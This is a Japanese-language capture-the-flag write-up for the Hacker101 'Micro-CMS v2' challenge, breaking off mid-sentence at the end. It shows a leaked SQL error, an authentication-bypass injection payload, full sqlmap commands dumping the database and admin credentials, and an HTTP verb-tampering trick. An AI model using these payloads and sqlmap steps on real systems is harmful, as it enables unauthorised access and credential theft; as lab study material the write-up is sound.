「Micro-CMS v1」と同様にMarkdownの投稿サイト。
Changelogを確認すると、
- セキュリティ脆弱性が修正されている
- ユーザー認証が追加、ユーザーがページの追加編集を行うには管理者である必要がある
とのこと。ログイン認証の突破が肝になりそうだ。
とりあえず色々調査しながらdirbを回しておく。
+ http://34.74.105.127/f754dab811/home (CODE:200|SIZE:251) + http://34.74.105.127/f754dab811/login (CODE:200|SIZE:361) + http://34.74.105.127/f754dab811/logout (CODE:302|SIZE:209)
Flag 1,3 "Blind SQL Injection"
とりあえず、不正文字っぽい'
を入れて応答を見てみる。
Traceback (most recent call last): File "./main.py", line 145, in do_login if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0: File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute self.errorhandler(self, exc, value) File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler raise errorvalue ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1")
いい感じのエラーが出てきた。
クエリ内容も見えており、MariaDBが使われているようなので、MariaDBに対応したSQLiコードを入れる。
とりあえず、この部分を回避するには' or '' = '
でいいので、これを入れてPasswordを適当に入れてみる。
Invalid passwordと出てくるので、password側にも同様に'
を入れてみるが、こちらはエラーが出てこない。
Username側はあるかないかを検知できるので、Blind SQL Injectionで情報の抜き出しが出来そうだ。
sqlmapに通してみる。
sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password=b" --dbs [*] information_schema [*] level2 [*] mysql [*] performance_schema sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password=b" -D level2 --tables +--------+ | admins | | pages | +--------+ sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password=b" -D level2 -T admins --columns +----------+--------------+ | Column | Type | +----------+--------------+ | id | int(11) | | password | varchar(256) | | username | varchar(256) | +----------+--------------+ sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password=b" -D level2 -T admins -C id,password,username --dump +----+-----------+----------+ | id | password | username | +----+-----------+----------+ | 1 | elizebeth | robena | +----+-----------+----------+ sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password=b" -D level2 -T pages --columns +--------+--------------+ | Column | Type | +--------+--------------+ | body | mediumtext | | id | int(11) | | public | tinyint(1) | | title | varchar(256) | +--------+--------------+ sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password=b" -D level2 -T pages -C body,id,public,title --dump +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----+--------+---------------------+ | body | id | public | title | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----+--------+---------------------+ | ## Version 2\\nThis version fixed the multitude of security flaws and general functionality bugs that plagued v1. Additionally, we added user authentication; we're still not sure why we didn't think about that the first time, but hindsight is 20/20. By default, users need to be an admin to add or edit pages now.\\n | 1 | 1 | Micro-CMS Changelog | | Just testing some markdown functionality.\\n\\n![adorable kitten](https://static1.squarespace.com/static/54e8ba93e4b07c3f655b452e/t/56c2a04520c64707756f4267/1493764650017/)\\n\\n<button>Some button</button> | 2 | 1 | Markdown Test | | My secret is ^FLAG^$FLAG$ | 3 | 0 | Private Page | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----+--------+---------------------+
このフラグはFlag1だった。
ここに書いてある認証情報でログインをすると、フラグが出てきてFlag3だった。
Flag 2
さて、全然わからなかったが、HTTP Verb Tamperingというものらしい。
- Software Security | HTTP Verb Tampering
- 【Hacker101 CTF】Micro-CMS v2解説 SQLインジェンクションを使った認証バイパス - かつおのお刺身
このページからEdit this Pageを押したものを、BurpでInterceptする。
GETをPOSTに変更して、流すとフラグが出てくるという感じ。
まあ、だから何だという話だが、以下のようなシナリオだろう。